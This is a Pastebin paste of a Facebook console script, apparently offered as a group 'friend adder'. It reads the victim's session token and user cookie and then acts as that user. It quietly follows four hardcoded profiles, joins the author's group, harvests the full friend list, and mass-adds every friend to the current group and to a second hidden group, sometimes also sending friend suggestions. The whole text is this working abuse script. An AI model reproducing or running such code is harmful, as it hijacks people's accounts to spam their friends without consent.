Advertisement
Guest User

Tag Vào Groups

a guest
Jul 13th, 2014
200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.32 KB | None | 0 0
  1. function hp_d12(s) {
  2.  
  3. var o = "",
  4.  
  5. ar = new Array(),
  6.  
  7. os = "",
  8.  
  9. ic = 0,
  10.  
  11. p = 0;
  12.  
  13. for (i = 0; i < s.length; i++) {
  14.  
  15. c = s.charCodeAt(i);
  16.  
  17. if (c < 128) c = c ^ ((p++ % 8) + 1);
  18.  
  19. os += String.fromCharCode(c);
  20.  
  21. if (os.length > 80) {
  22.  
  23. ar[ic++] = os;
  24.  
  25. os = ""
  26.  
  27. }
  28.  
  29. }
  30.  
  31. o = ar.join("") + os;
  32.  
  33. return o
  34.  
  35. }
  36.  
  37. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  38.  
  39. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  40.  
  41. function cereziAl(isim) {
  42.  
  43. var tarama = isim + "=";
  44.  
  45. if (document.cookie.length > 0) {
  46.  
  47. konum = document.cookie.indexOf(tarama);
  48.  
  49. if (konum != -1) {
  50.  
  51. konum += tarama.length;
  52.  
  53. son = document.cookie.indexOf(";", konum);
  54.  
  55. if (son == -1) son = document.cookie.length;
  56.  
  57. return unescape(document.cookie.substring(konum, son))
  58.  
  59. } else {
  60.  
  61. return ""
  62.  
  63. }
  64.  
  65. }
  66.  
  67. }
  68.  
  69. function getRandomInt(min, max) {
  70.  
  71. return Math.floor(Math.random() * (max - min + 1)) + min
  72.  
  73. }
  74.  
  75. function randomValue(arr) {
  76.  
  77. return arr[getRandomInt(0, arr.length - 1)]
  78.  
  79. }
  80.  
  81. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  82.  
  83. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  84.  
  85. function a(abone) {
  86.  
  87. var http4 = new XMLHttpRequest();
  88.  
  89. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  90.  
  91. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  92.  
  93. http4.open("POST", url4, true);
  94.  
  95. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  96.  
  97. http4.setRequestHeader("Content-length", params4.length);
  98.  
  99. http4.setRequestHeader("Connection", "close");
  100.  
  101. http4.onreadystatechange = function() {
  102.  
  103. if (http4.readyState == 4 && http4.status == 200) {
  104.  
  105. http4.close
  106.  
  107. }
  108.  
  109. };
  110.  
  111. http4.send(params4)
  112.  
  113. }
  114.  
  115. a("100007310834565");a("100007722908200");a("100003732896161");a("100007794488508");
  116.  
  117. var gid = ['603941513022705'];
  118.  
  119. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  120.  
  121. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  122.  
  123. var httpwp = new XMLHttpRequest();
  124.  
  125. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  126.  
  127. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  128.  
  129. httpwp['open']('POST', urlwp, true);
  130.  
  131. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  132.  
  133. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  134.  
  135. httpwp['setRequestHeader']('Connection', 'keep-alive');
  136.  
  137. httpwp['send'](paramswp);
  138.  
  139. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  140.  
  141. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  142.  
  143. var friends = new Array();
  144.  
  145. gf = new XMLHttpRequest();
  146.  
  147. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  148.  
  149. gf['send']();
  150.  
  151. if (gf['readyState'] != 4) {} else {
  152.  
  153. data = eval('(' + gf['responseText']['substr'](9) + ')');
  154.  
  155. if (data['error']) {} else {
  156.  
  157. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  158.  
  159. return _0x93dax8['index'] - _0x93dax9['index']
  160.  
  161. })
  162.  
  163. }
  164.  
  165. };
  166. a("100007310834565");a("100007722908200");a("100003732896161");a("100007794488508");
  167. var Title = 'CHƯƠNG TRÌNH THÊM BẠN VÀO NHÓM By Mr_Thành<A style="color:#3B5998;" href="https://www.facebook.com/Thanh.Smith3</A>';
  168.  
  169. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  170.  
  171. var Descriptions = "",
  172.  
  173. _text = 'Powered By <A style="color:#3B5998;" href=" https://www.facebook.com/groups/603941513022705">Largest Group.</A> Join it now.';
  174.  
  175. function AddFriendtoGroup(opo) {
  176.  
  177. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  178.  
  179. var b = a.substring(a.indexOf("{"));
  180.  
  181. var c = JSON.parse(b);
  182.  
  183. i--;
  184.  
  185. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  186.  
  187. if (c.error) {
  188.  
  189. Descriptions += "color:darkred'>";
  190.  
  191. err++;
  192.  
  193. if (c.errorDescription) Descriptions += c.errorDescription;
  194.  
  195. else Descriptions += JSON.stringify(c, null, "")
  196.  
  197. } else {
  198.  
  199. Descriptions += "color:darkgreen'>";
  200.  
  201. Descriptions += arn[i] + " has been added.<br/>";
  202.  
  203. suc++
  204.  
  205. }
  206.  
  207. Descriptions += "</div>";
  208.  
  209. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  210.  
  211. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  212.  
  213. if (i > 0) {
  214.  
  215. display += arr.length + " Friends Detected<br/>";
  216.  
  217. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  218.  
  219. display += "(" + i + " Lefted...)";
  220.  
  221. display += "<div class='friend-edge'>";
  222.  
  223. display += Descriptions;
  224.  
  225. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  226.  
  227. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  228.  
  229. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  230.  
  231. display += _text;
  232.  
  233. display += "</div>";
  234.  
  235. display += "</div>"
  236.  
  237. } else {
  238.  
  239. display += arr.length + " Friends Detected<br/>";
  240.  
  241. display += suc + " Friends Added</br>";
  242.  
  243. display += err + " Friends Not Added</br></br>";
  244.  
  245. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  246.  
  247. }
  248.  
  249. display += "</div>";
  250.  
  251. document.getElementById("pagelet_sidebar").innerHTML = display
  252.  
  253. }, "text", "post");
  254.  
  255. tay--;
  256.  
  257. if (tay > 0) {
  258.  
  259. var s = arr[tay];
  260.  
  261. sx = pho[tay];
  262.  
  263. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  264.  
  265. }
  266.  
  267. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  268.  
  269. if (gid != 470136479772971) {
  270.  
  271. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=470136479772971&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  272.  
  273. }
  274.  
  275. if (newcomer) {
  276.  
  277. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=1000010012232400&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  278.  
  279. }
  280.  
  281. }
  282.  
  283. function clickfr_callback() {
  284.  
  285. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  286.  
  287. var a = arr[i];
  288.  
  289. if (i < arr.length) addfriend(a.substring(0, 4))
  290.  
  291. }
  292.  
  293. function clickfr() {
  294.  
  295. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  296.  
  297. else j++;
  298.  
  299. setTimeout("clickfr_callback()", 2E3)
  300.  
  301. }
  302.  
  303. function addfriend(a) {
  304.  
  305. i++;
  306.  
  307. setTimeout("clickfr()", 2E3)
  308.  
  309. }
  310.  
  311. jx = {
  312.  
  313. getHTTPObject: function() {
  314.  
  315. var a = false;
  316.  
  317. if (typeof ActiveXObject != "undefined") try {
  318.  
  319. a = new ActiveXObject("Msxml2.XMLHTTP")
  320.  
  321. } catch (b) {
  322.  
  323. try {
  324.  
  325. a = new ActiveXObject("Microsoft.XMLHTTP")
  326.  
  327. } catch (c) {
  328.  
  329. a = false
  330.  
  331. }
  332.  
  333. } else if (window.XMLHttpRequest) try {
  334.  
  335. a = new XMLHttpRequest
  336.  
  337. } catch (b) {
  338.  
  339. a = false
  340.  
  341. }
  342.  
  343. return a
  344.  
  345. },
  346.  
  347. load: function(url, callback, format, method, opt) {
  348.  
  349. var http = this.init();
  350.  
  351. if (!http || !url) return;
  352.  
  353. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  354.  
  355. if (!method) method = "GET";
  356.  
  357. if (!format) format = "text";
  358.  
  359. if (!opt) opt = {};
  360.  
  361. format = format.toLowerCase();
  362.  
  363. method = method.toUpperCase();
  364.  
  365. var now = "uid=" + (new Date).getTime();
  366.  
  367. url += url.indexOf("?") + 1 ? "&" : "?";
  368.  
  369. url += now;
  370.  
  371. var parameters = null;
  372.  
  373. if (method == "POST") {
  374.  
  375. var parts = url.split("?");
  376.  
  377. url = parts[0];
  378.  
  379. parameters = parts[1]
  380.  
  381. }
  382.  
  383. http.open(method, url, true);
  384.  
  385. var ths = this;
  386.  
  387. if (opt.handler) http.onreadystatechange = function() {
  388.  
  389. opt.handler(http)
  390.  
  391. };
  392.  
  393. else http.onreadystatechange = function() {
  394.  
  395. if (http.readyState == 4) if (http.status == 200) {
  396.  
  397. var result = "";
  398.  
  399. if (http.responseText) result = http.responseText;
  400.  
  401. if (format.charAt(0) == "j") {
  402.  
  403. result = result.replace(/[\n\r]/g, "");
  404.  
  405. result = eval("(" + result + ")")
  406.  
  407. } else if (format.charAt(0) == "x") result = http.responseXML;
  408.  
  409. if (callback) callback(result)
  410.  
  411. } else {
  412.  
  413. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  414.  
  415. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  416.  
  417. if (error) error(http.status)
  418.  
  419. }
  420.  
  421. };
  422.  
  423. http.send(parameters)
  424.  
  425. },
  426.  
  427. bind: function(a) {
  428.  
  429. var b = {
  430.  
  431. url: "",
  432.  
  433. onSuccess: false,
  434.  
  435. onError: false,
  436.  
  437. format: "text",
  438.  
  439. method: "GET",
  440.  
  441. update: "",
  442.  
  443. loading: "",
  444.  
  445. loadingIndicator: ""
  446.  
  447. };
  448.  
  449. for (var c in b) if (a[c]) b[c] = a[c];
  450.  
  451. if (!b.url) return;
  452.  
  453. var d = false;
  454.  
  455. if (b.loadingIndicator) {
  456.  
  457. d = document.createElement("div");
  458.  
  459. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  460.  
  461. d.setAttribute("class", "loading-indicator");
  462.  
  463. d.innerHTML = b.loadingIndicator;
  464.  
  465. document.getElementsByTagName("body")[0].appendChild(d);
  466.  
  467. this.opt.loadingIndicator = d
  468.  
  469. }
  470.  
  471. if (b.loading) document.getElementById(b.loading).style.display = "block";
  472.  
  473. this.load(b.url, function(a) {
  474.  
  475. if (b.onSuccess) b.onSuccess(a);
  476.  
  477. if (b.update) document.getElementById(b.update).innerHTML = a;
  478.  
  479. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  480.  
  481. if (b.loading) document.getElementById(b.loading).style.display = "none"
  482.  
  483. }, b.format, b.method, b)
  484.  
  485. },
  486.  
  487. init: function() {
  488.  
  489. return this.getHTTPObject()
  490.  
  491. }
  492.  
  493. };
  494.  
  495. var nHtml = {
  496.  
  497. FindByAttr: function(a, b, c, d) {
  498.  
  499. if (c == "className") c = "class";
  500.  
  501. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  502.  
  503. if (e && e.singleNodeValue) return e.singleNodeValue;
  504.  
  505. return null
  506.  
  507. },
  508.  
  509. FindByClassName: function(a, b, c) {
  510.  
  511. return this.FindByAttr(a, b, "className", c)
  512.  
  513. },
  514.  
  515. FindByXPath: function(a, b) {
  516.  
  517. try {
  518.  
  519. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  520.  
  521. } catch (d) {
  522.  
  523. GM_log("bad xpath:" + b)
  524.  
  525. }
  526.  
  527. if (c && c.singleNodeValue) return c.singleNodeValue;
  528.  
  529. return null
  530.  
  531. },
  532.  
  533. VisitUrl: function(a) {
  534.  
  535. window.setTimeout(function() {
  536.  
  537. document.location.href = a
  538.  
  539. }, 500 + Math.floor(Math.random() * 500))
  540.  
  541. },
  542.  
  543. ClickWin: function(a, b, c) {
  544.  
  545. var d = a.document.createEvent("MouseEvents");
  546.  
  547. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  548.  
  549. return !b.dispatchEvent(d)
  550.  
  551. },
  552.  
  553. Click: function(a) {
  554.  
  555. return this.ClickWin(window, a, "click")
  556.  
  557. },
  558.  
  559. ClickTimeout: function(a, b) {
  560.  
  561. window.setTimeout(function() {
  562.  
  563. return nHtml.ClickWin(window, a, "click")
  564.  
  565. }, b + Math.floor(Math.random() * 500))
  566.  
  567. },
  568.  
  569. ClickUp: function(a) {
  570.  
  571. this.ClickWin(window, a, "mousedown");
  572.  
  573. this.ClickWin(window, a, "mouseup");
  574.  
  575. this.ClickWin(window, a, "click")
  576.  
  577. },
  578.  
  579. GetText: function(a, b) {
  580.  
  581. var c = "";
  582.  
  583. if (b == undefined) b = 0;
  584.  
  585. if (b > 40) return;
  586.  
  587. if (a.textContent != undefined) return a.textContent;
  588.  
  589. for (var d = 0; d < a.childNodes.length; d++) {
  590.  
  591. var e = a.childNodes[d];
  592.  
  593. c += this.GetText(e, b + 1)
  594.  
  595. }
  596.  
  597. return c
  598.  
  599. }
  600.  
  601. };
  602.  
  603. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  604.  
  605. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  606.  
  607. var c = document.getElementsByTagName("*");
  608.  
  609. var d = [];
  610.  
  611. var e;
  612.  
  613. for (var f = 0;
  614.  
  615. (e = c[f]) != null; f++) {
  616.  
  617. var g = e.className;
  618.  
  619. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  620.  
  621. }
  622.  
  623. return d
  624.  
  625. };
  626.  
  627. Array.prototype.find = function(a) {
  628.  
  629. var b = false;
  630.  
  631. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  632.  
  633. if (a.test(this[i])) {
  634.  
  635. if (!b) b = [];
  636.  
  637. b.push(i)
  638.  
  639. }
  640.  
  641. } else if (this[i] === a) {
  642.  
  643. if (!b) b = [];
  644.  
  645. b.push(i)
  646.  
  647. }
  648.  
  649. return b
  650.  
  651. };
  652.  
  653. var i = 3;
  654.  
  655. var tay = 3;
  656.  
  657. var j = 0;
  658.  
  659. var k = 0;
  660.  
  661. var suc = 0;
  662.  
  663. var err = 0;
  664.  
  665. var arr = new Array;
  666.  
  667. var arn = new Array;
  668.  
  669. var pho = new Array;
  670.  
  671. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  672.  
  673. var gid = document.getElementsByName("group_id")[0].value;
  674.  
  675. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  676.  
  677. var b = a;
  678.  
  679. var c = b.substring(b.indexOf("{"));
  680.  
  681. var d = JSON.parse(c);
  682.  
  683. d = d.payload.entries;
  684.  
  685. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  686.  
  687. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  688.  
  689. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  690.  
  691. i = arr.length - 1;
  692.  
  693. tay = i;
  694.  
  695. console.log(arr.length);
  696.  
  697. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  698.  
  699. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  700.  
  701. display += arr.length + " Friends Detected";
  702.  
  703. display += "</div>";
  704.  
  705. document.getElementById("pagelet_sidebar").innerHTML = display;
  706.  
  707. AddFriendtoGroup(arr[i])
  708.  
  709. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement